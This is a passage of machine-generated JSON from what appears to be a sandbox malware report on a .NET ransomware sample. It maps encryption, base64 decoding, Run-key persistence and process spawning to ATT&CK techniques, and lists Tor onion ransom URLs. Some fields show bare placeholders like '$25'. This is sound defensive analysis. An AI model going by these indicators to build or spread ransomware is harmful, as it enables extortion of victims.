(Dotnet)"},{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to perform symmetric crypto operations"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","identifiers":[{"type":"suspicious","value":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.Runtime.InteropServices.MarshalAsAttribute\" and TypeReference \".ctor\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$25","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed function \"ToBase64String\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"EncryptFile\" (Indicator: \"EncryptFile\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API \"DecryptFile\" (Indicator: \"DecryptFile\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"DecryptFile\" (Indicator: \"DecryptFile\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.RijndaelManaged\" and TypeReference \".ctor\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric decryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric encryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-165","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to perform symmetric encryption (Dotnet)\n Matched sigs: Contains ability to perform symmetric decryption (Dotnet)\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to decode string content at runtime (Dotnet)\n Matched sigs: Contains ability to perform crypto operations\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to decrypt/decode data\n Matched sigs: Contains ability to perform symmetric crypto operations\n Matched sigs: Dotnet file contains encryption/decryption functions","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00009440)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$26","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindow\" (Indicator: \"FindWindow\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\fondue.exe\" /enable-feature:NetFx3 /caller-name:mscoreei.dll\" - (UID: 00000000-00009440)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$27","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$28","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"g:\\t11\\t11\\obj\\Release\\t11.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"GetSystemMetrics\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API (Indicator: \"FindWindow\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API (Indicator: \"ShowWindow\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API (Indicator: \"SetWindowPos\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API (Indicator: \"EncryptFile\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API (Indicator: \"DecryptFile\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API (Indicator: \"GetCurrentProcess\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found reference to API (Indicator: \"MessageBox\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" in Source: 600000c-Form1~SetShell\n \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\" in Source: 600001a-Form1~FriendlyName","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9440:304:WilStaging_02\"\n \"Local\\SM0:9440:304:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"CreateSubKey\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetValue\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"GetSystemMetrics\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed unmanaged function \"FindWindow\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed unmanaged function \"ShowWindow\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed unmanaged function \"SetWindowPos\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"http://www.coinbase.com\" (Indicator: \"coinbase.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$29","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"fondue.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 82C10000\n \"fondue.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 822F0000\n \"OptionalFeatures.EXE\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 822F0000\n \"OptionalFeatures.EXE\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 82C10000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 84B40000\n \"fondue.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 84B40000\n \"OptionalFeatures.EXE\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 84B40000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" was detected as \".NET\" and name: \"Library\"\n \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2a","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\Fondue.exe\" [Source: 00000000-00009440-00000BC0-1271107838]\n Observed system executable string:\"%WINDIR%\\system32\\fondue.exe\" [Source: 00000000-00009440-00000BC0-1271109986]\n Observed system executable string:\"\"%WINDIR%\\system32\\fondue.exe\" /enable-feature:NetFx3 /caller-name:mscoreei.dll\" [Source: 00000000-00009440-00000C44-2393253834]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" [Source: 00000000-00009440-00000C28-1270991481]\n Observed system executable string:\"\"%WINDIR%\\system32\\fondue.exe\" /enable-feature:NetFx3 /caller-name:mscoreei.dll\" [Source: 00000000-00009440-00000C44-2393253834]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"fondue.exe\" with commandline \"/enable-feature:NetFx3 /caller-name:mscoreei.dll\" (UID: 00000000-00010084)\n Spawned process \"OptionalFeatures.EXE\" with commandline \"/enable-feature:NetFx3 /caller-name:mscoreei.dll\" (UID: 00000000-00005684)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"fondue.exe\" with commandline \"/enable-feature:NetFx3 /caller-name:mscoreei.dll\" (UID: 00000000-00010084)\n Spawned process \"OptionalFeatures.EXE\" with commandline \"/enable-feature:NetFx3 /caller-name:mscoreei.dll\" (UID: 00000000-00005684)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" queries basic process information of the \"C:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" (UID: 9440)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$2d","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" trying to access non-existent file \"C:\\CRYPTSP.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" trying to access non-existent file \"C:\\WINDOWS\\SYSTEM32\\MSCOREE.DLL.local\"\n \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" trying to access non-existent file \"C:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe.config\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Network Related","name":"Contains Tor Onion URL","description":"\"For complete istruction please visit : http://24fkxhnr3cdtvwmy.onion.to/help.php\" (Indicator: \".onion\") in Source: 6000011-Form1~encryptDirectory\n \"http://24fkxhnr3cdtvwmy.onion.to/wrap1.php\" (Indicator: \".onion\") in Source: 6000016-Form1~Form1_Load\n \"http://24fkxhnr3cdtvwmy.onion.to/help.php\" (Indicator: \".onion\") in Source: 6000025-Form1~button6_Click_1","origin":"File/Memory","mitre_attack_id":"T1090.003","relevance":1,"id":"string-176","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \".ctor\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"4.0.0.0\"\n \"11.0.0.0\"\n \"1.0.0.0\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://api.hostip.info/country.php\"\n Pattern match: \"http://24fkxhnr3cdtvwmy.onion.to/help.php\"\n Pattern match: \"http://24fkxhnr3cdtvwmy.onion.to/wrap1.php\"\n Pattern match: \"https://bitcoin.org/en/getting-started\"\n Pattern match: \"https://en.wikipedia.org/wiki/bitcoin\"\n Pattern match: \"https://localbitcoins.com/\"\n Pattern match: \"https://www.bitboat.net\"\n Pattern match: \"http://www.coinbase.com\"\n Pattern match: \"https://coincafe.com/\"\n Pattern match: \"http://www.google.com\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 46f5131e766d248db0248a86c494b71c\n Observed JA3 fingerprint: 6a5d235ee78c6aede6a61448b4e9ff1e\n Observed JA3 fingerprint: 091f51a7a1c3a4504a224cc081ce9cee\n Observed JA3 fingerprint: 65005c9d9ae0f0ebeaf22c210571d482\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://bitcoin.org\"\n Found HTTPS url \"https://en.wikipedia.org\"\n Found HTTPS url \"https://localbitcoins.com\"\n Found HTTPS url \"https://www.bitboat.net\"\n Found HTTPS url \"https://coincafe.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$2e","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details (Dotnet)","description":"Observed function \"get_ProcessName\" in \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\"","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: 